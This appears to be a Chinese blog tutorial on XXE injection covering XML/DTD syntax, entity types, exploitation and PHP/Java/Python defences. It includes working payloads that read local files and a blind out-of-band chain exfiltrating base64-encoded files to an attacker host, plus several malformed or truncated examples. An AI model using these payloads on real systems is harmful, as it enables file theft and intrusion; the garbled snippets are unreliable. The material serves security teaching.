• XXE


    XXE 原理利用防御

    1.1 开门重点

      要点:libxml2.9.1 及以后,默认不解析外部实体。测试的时候 windows 下使用的是 php5.2(libxml Version 2.7.7 ), php5.3(libxml Version 2.7.8)。Linux 中需要将 libxml 低于 libxml2.9.1 的版本编译到 PHP 中,可以使用 phpinfo()查看 libxml 的版本信息。
    

    1.1.1 定义

      XML 用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML 文档结构包括 XML 声明、DTD 文档类型定义(可选)、文档元素。
    

    1.1.2 文档结构

      XML 文档结构包括 XML 声明、DTD 文档类型定义(可选)、文档元素。
    

    <?xml version=”1.0” encoding="gb2312" encoding=”UTF-8”?> //xml 声明、版本、编码
    
    <!DOCTYPE root system "http://www.XXXX.com/file"[ //定义 DTD 文件,格式为:root 指定根 节点名称,system 声明要使用的外部 DTD 文件路径,后面加文件 URL,注意[]包裹。
    
    <!ELEMENT root (other)> // 元素声明,声明 xml 中包含的元素,声明中需要指定元素名 称(root、other 等)和元素类别、内容等
    
    <!ELEMENT to (#PCDATA)> // <!--定义 to 元素为”#PCDATA”类型-->
    
    <!ELEMENT generalentity "content" > //ELEMENT 标签用于声明实体,关于实体的定义如下: “实体是用于定义引用普通文本或特殊字符的快捷方式的变量”实体是在 DTD 文件中定义 的变量,xml 解析器解析 xml 文件的时候,会将被的引用替换为实体内容,实体分为:预 定义实体、普通实体、参数实体,此处定义了普通实体 generalentity,内容为 content
    
    <!ELEMENT % extendentity SYSTEM "http://www.XXXX.com/file"> //定义参数实体,格式 为:<!ELEMENT % 参数名称 参数内容>
    引用格式:%参数名称 参数实体只能在 DTD 文件中引用,内部 DTD 文件的参数引用只能出现于 DTD 标签可出现的 位置,外部 DTD 文件参数实体的引用可以出于 DTD 标签内容,比如:<!ELEMENT % "%another">
    
    %extendentity; //引用参数外部实体
    
    
    
    <!--XML 声明--> 
    <?xml version="1.0"?> 
    
    <!--文档类型定义--> 
    <!DOCTYPE note [ <!--定义此文档是 note 类型的文档-->
    <!ELEMENT note (to,from,heading,body)> <!--定义 note 元素有四个元素-->
    <!ELEMENT to (#PCDATA)> <!--定义 to 元素为”#PCDATA”类型-->
    <!ELEMENT from (#PCDATA)> <!--定义 from 元素为”#PCDATA”类型-->
    <!ELEMENT head (#PCDATA)> <!--定义 head 元素为”#PCDATA”类型-->
    <!ELEMENT body (#PCDATA)> <!--定义 body 元素为”#PCDATA”类型--> 
    ]>
    
    <!--下面为文档元素-->
    <note>
    <to>Dave</to> //调用 Dave 实体(此步骤不可缺)
    <from>Tom</from>
    <head>Reminder</head>
    <body>You are a good man</body>
    </note>
    

    1.1.3 DTD的基础知识

      Document Type Definition 即文档类型定义,用来为 XML 文档定义语义约束。可以嵌  入在 XML 文档中(内部声明),也可以独立的放在一个文件中(外部引用),由于其支持的数据  类型有限,无法对元素或属性的内容进行详细规范,在可读性和可扩展性方面也比不上 XML  Schema。
      参考链接: http://www.w3school.com.cn/dtd/index.asp
      首先了解下基本的 PAYLOAD 结构,然后再介绍每部分涉及的知识点,如下 PAYLOAD 开头  进行了 XML 的声明,然后使用 DTD 声明实体(这里使用了 file 协议),最后使用 XML 获取实  体的数据。
    

    基本的 PAYLOAD 结构:

    使用 DTD 实体的攻击方式 :

      DTD 引用方式(简要了解): 
            1. DTD 内部声明
                  <!DOCTYPE根元素[元素声明]>
            2. DTD 外部引用
                  <!DOCTYPE根元素名称SYSTEM "外部DTD的URI">
            3. 引用公共 DTD
                   <!DOCTYPE根元素名称PUBLIC "DTD标识名" "共用DTD的URL">
    

    示例:

    <?xml version="1.0"?>
    <!DOCTYPE configuration PUBLIC "-//mybatis.org//DTD Config
    3.0//EN"
    "http://mybatis.org/dtd/mybatis-3-config.dtd">
    ......
    
    命名方法:以!DOCTYPE 开始,configuration 是文档根元素名称;
    PUBLIC 表示是公共 DTD;-表示是非 ISO 组织;mybatis.org 表示组织;
    DTD 表示类型;Config 表示标签;3.0 是标签后附带的版本号;
    EN 表示 DTD 语言是英语;最后是 DTD 的 URL;
    

    DTD 实体声明(重点学习):

      1. 内部实体声明
            <!ENTITY 实体名称 "实体的值">
            一个实体由三部分构成:&符号, 实体名称, 分号 (;),这里&不论在 GET 还是在 POST www.oldboyedu.com 中都需要进行 URL 编码,因为是使用参数传入 xml 的,&符号会被认为是参数间的连接符号,示例:
    
    !DOCTYPE foo [<!ELEMENT foo ANY >
    <!ENTITY xxe "oldboyedu.com">]>
    <foo>&xxe;</foo>
    

      2. 外部实体声明
            <!ENTITY 实体名称 SYSTEM "URI/URL">
            外部引用可支持 http,file 等协议,不同的语言支持的协议不同,但存在一些通用 的协议,具体内容如下所示:
    

            示例:
    
    ]>

    &xxe;

      3. 参数实体声明
    
    or
      示例:
    

    %xxe;]>
    &evil;
    外部 evil.dtd 中的内容

      4. 引用公共实体
      <!ENTITY 实体名称 PUBLIC "public_ID" "URI">
    

    1.1.4 实体类别介绍

    实体主要分为一下四类
     内置实体 (Built-in entities)
     字符实体 (Character entities)
     通用实体 (General entities)
     参数实体 (Parameter entities)

      参数实体用%实体名称申明,引用时也用%实体名称; 
      其余实体直接用实体名称申明,引用时用&实体名称。 
      
      参数实体只能在 DTD 中申明,DTD 中引用; 
      其余实体只能在 DTD 中申明,可在 xml 文档中引用。
    
      举例: 
            内部实体 
            <!ENTITY 实体名称 "实体内容"> 
    
            外部实体 
            <!ENTITY 实体名称 SYSTEM "URI"> 参数实体 <!ENTITY % 实体名称 "实体内容"> 
            或者 
            <!ENTITY % 实体名称 "URI">
    
      注意:参数实体是在 DTD 中被引用的,而其余实体是在 xml 文档中被引用的。
    

    1.1.5 XXE的利用方式-DTD

      利用 xxe 漏洞可以进行拒绝服务攻击,文件读取,命令(代码)执行,SQL(XSS)注入,内 外扫描端口,入侵内网站点等,内网探测和入侵是利用 xxe 中支持的协议进行内网主机和端 口发现,可以理解是使用 xxe 进行 SSRF 的利用,基本上啥都能做了。
      一般 xxe 利用分为两大场景:有回显和无回显。有回显的情况可以直接在页面中看到 Payload 的执行结果或现象,无回显的情况又称为 blind xxe,可以使用外带数据通道提取 数据。
    
      1. 有回显情况:
            有回显的情况可以使用如下的两种方式进行 XXE 注入攻击。
    
    1.
    <!DOCTYPE foo [<!ELEMENT foo ANY > 
    <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >]> 
    <foo>&xxe;</foo>
    
    2.
    <!DOCTYPE foo [<!ELEMENT foo ANY > 
    <!ENTITY % xxe SYSTEM "http://xxx.xxx.xxx/evil.dtd" > 
    %xxe;]> 
    <foo>&evil;</foo>
    
    外部 evil.dtd 中的内容。
    <!ENTITY evil SYSTEM "file:///c:/windows/win.ini" >
    

    2. 无回显的情况:
            可以使用外带数据通道提取数据,先使用 php://filter 获取目标文件的内容, 然后将内容以 http 请求发送到接受数据的服务器(攻击服务器)xxx.xxx.xxx。
    
    <!DOCTYPE convert [ 
    <!ENTITY % remote SYSTEM "http://ip/test.dtd"> 
    %remote;%int;%send; 
    ]>
    

    test.dtd 的内容,内部的%号要进行实体编码成&#37 (注:编码可参考:http://www.mamicode.com/info-detail-1680849.html

    <!ENTITY % file SYSTEM "
    php://filter/read=convert.base64-encode/resource=file:///c:/1.txt"> 
    <!ENTITY % int "<!ENTITY &#37; send SYSTEM 
    'http://192.168.0.105:8080?p=%file;'>">
    
      有报错直接查看报错信息。
    

      无报错需要访问接受数据的服务器中的日志信息,可以看到经过 base64 编码过的数
      我们看到服务器端接收到了我们用 base64 编码后的敏感文件信息(编码也 是为了不破坏原本的 XML 语法),不编码会报错。
    
      整个调用过程:
            我们从 payload 中能看到 连续调用了三个参数实体 %remote;%int;%send;,这就 是我们的利用顺序,%remote 先调用,调用后请求远程服务器上的 test.dtd ,有 点类似于将 test.dtd 包含进来,然后 %int 调用 test.dtd 中的 %file, %file 就会 去获取服务器上面的敏感文件,然后将 %file 的结果填入到 %send 以后(因为实体 的值中不能有 %, 所以将其转成 html 实体编码 &#37; ),我们再调用 %send; 把我们的读取到的数据发送到我们的远程 vps 上,这样就实现了外带数据的效果,完美 的解决了 XXE 无回显的问题。
    

    1.1.6 XXE漏洞利用及相关扩展知识

      jarvisoj 上的一道题目 API 调用 这道题的题目说明是 请设法获得目标机器/home/ctf/flag.txt中的flag值。
      进入题目 http://web.jarvisoj.com:9882/ 发现一个输入框,我们对其进行抓包
    


    这是一道 xxe 的题,怎么获取 flag?只要将 json 处改为 xml,然后提交 xml 文档即可

    1.1.7 XXE漏洞修复与防御

      PHP:
      libxml_disable_entity_loader(true);
    
      JAVA:
      DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance(); 
      dbf.setExpandEntityReferences(false); 
      setFeature("http://apache.org/xml/features/disallow-doctype-decl",true); 
      setFeature("http://xml.org/sax/features/external-general-entities",false) 
      setFeature("http://xml.org/sax/features/external-parameter-entities",false);
    
      Python:
            from lxml import etree 
            xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
    
      方案二:手动黑名单过滤(不推荐) 过滤关键词:<!DOCTYPE、<!ENTITY SYSTEM、PUBLIC
    

    1.1.8 xee渗透学习参考

      参考地址:https://xz.aliyun.com/t/3357
    Songzhibin
  • 相关阅读:
    formValidator表单验证
    js中判断一个对象的类型的种种方法
    利用jQuery中的serialize方法大量获取页面中表单的数据,发送的服务器
    用html和css写一个头部header和左侧菜单栏menu-bar固定的的页面
    关于刚才那个全选问题的解决
    关于input[type='checkbox']全选的问题
    用CSS来定义<p>标签,要求实现以下效果:字体颜色再IE6下为黑色,IE7下为红色,IE8下为绿色,其他浏览器下为黄色。
    Vue.js(20)之 封装字母表(是这个名字吗0.0)
    Vue.js之calendar组件
    书:构造器模式
  • 原文地址:https://www.cnblogs.com/binHome/p/13402442.html
Copyright © 2020-2023  润新知